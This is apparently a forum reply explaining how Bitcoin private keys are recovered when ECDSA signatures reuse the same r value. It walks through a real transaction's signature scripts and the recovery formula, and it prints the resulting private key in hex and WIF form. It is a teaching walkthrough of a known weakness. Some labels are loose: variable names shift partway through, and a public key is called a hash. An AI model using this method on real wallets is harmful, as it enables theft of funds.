**THIS IS ONLY FOR EDUCATIONAL PURPOSE. PLEASE DO NOT HARM OTHER!**

Hmm very interesting thanks for sharing. Can you explain further how a private key get's leaked through a tx hash? i remember people talking about this was a counter-party bug and other online wallets, but I never actually understood how someone can get the PK from a tx hash.

We don't get private key from the hash. we get it from the scripts.

When a btc-tx is generated it must be signed. but many developers from btc-services code their

own "wallet-system" so they make it all from their software and when their signing procedure resuses

signing values, then it s easy to generate the private key from that. the input scripts of transaction contains

two signature values. i call s and r. so when we have 2 inputs or more in a transaction or different inputs from different

transaction (of same publickey) and reused r values it s a huge problem for security. ECDSA then allows you recalculate with curve.

formula:

privatekey = (sop1*s2 - sop2*s1)/(r*(s1-s2))

now only sop1 and sop2 is missing! These are hashes of the outputs to be signed. Also this is calculated by OP_CHECKSIG.

so we have all data for calculating private-key.

so i make example now:

Public key: 1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm (i take this example because this vulnerability is public already)

my script tell me we have duplicates in transaction: 9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1

input script 1:

30440220

**d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1**0220

**44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e**0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69

c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff

input script 2:

30440220**d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1**0220**9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab**0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c2

1e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff

first i must explain you inputs script format header descr:

0x30 = header byte

0x44 = length descriptor (68 bytes)

0x02 = header byte

0x20 = r value length descriptor (32 bytes)

d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1 the r coordinate as a big endian integer

0x02 = header byte

0x20 = s value length descriptor (32 bytes)

44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e the s1 coordinate and 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab the s2 coordinate as a big endian integer

0x01 = hashtype byte

and 04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c2 1e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff is the pubkeyhash

ok so now we know how inputs script is formated. now we calculated missing sop1 and sop2 by OP_CHECKSIG():

sop1: c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e

sop2: 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc

so we now have a ll data for calculation:

p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

r = 0xd47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1

s1 = 0x44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e

s2 = 0x9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab

sop1 = 0xc0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e

sop2 = 0x17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc

now we can calculate with below formulas: mathcad or sagemath and we get privkey.

plese note

**p** is the order for the field.

**p** = parameter for secp256k1 curve order which bitcoin use.

now we create finite field for calculation:

K = GF(p)

and calculate decimal private key inside this field with:

K((z1*s2 - z2*s1)/(r*(s1-s2)))

ouput: 88865298299719117682218467295833367085649033095698151055007620974294165995414

so when we encode we get priv-key hex-coded:

c477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96

and when converted to WIF format:

5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ

i hope this help you understand.

also: here is implementation for calculating by software:

https://gist.github.com/nlitsme/dda36eeef541de37d996hope it's clear and helped.

thank you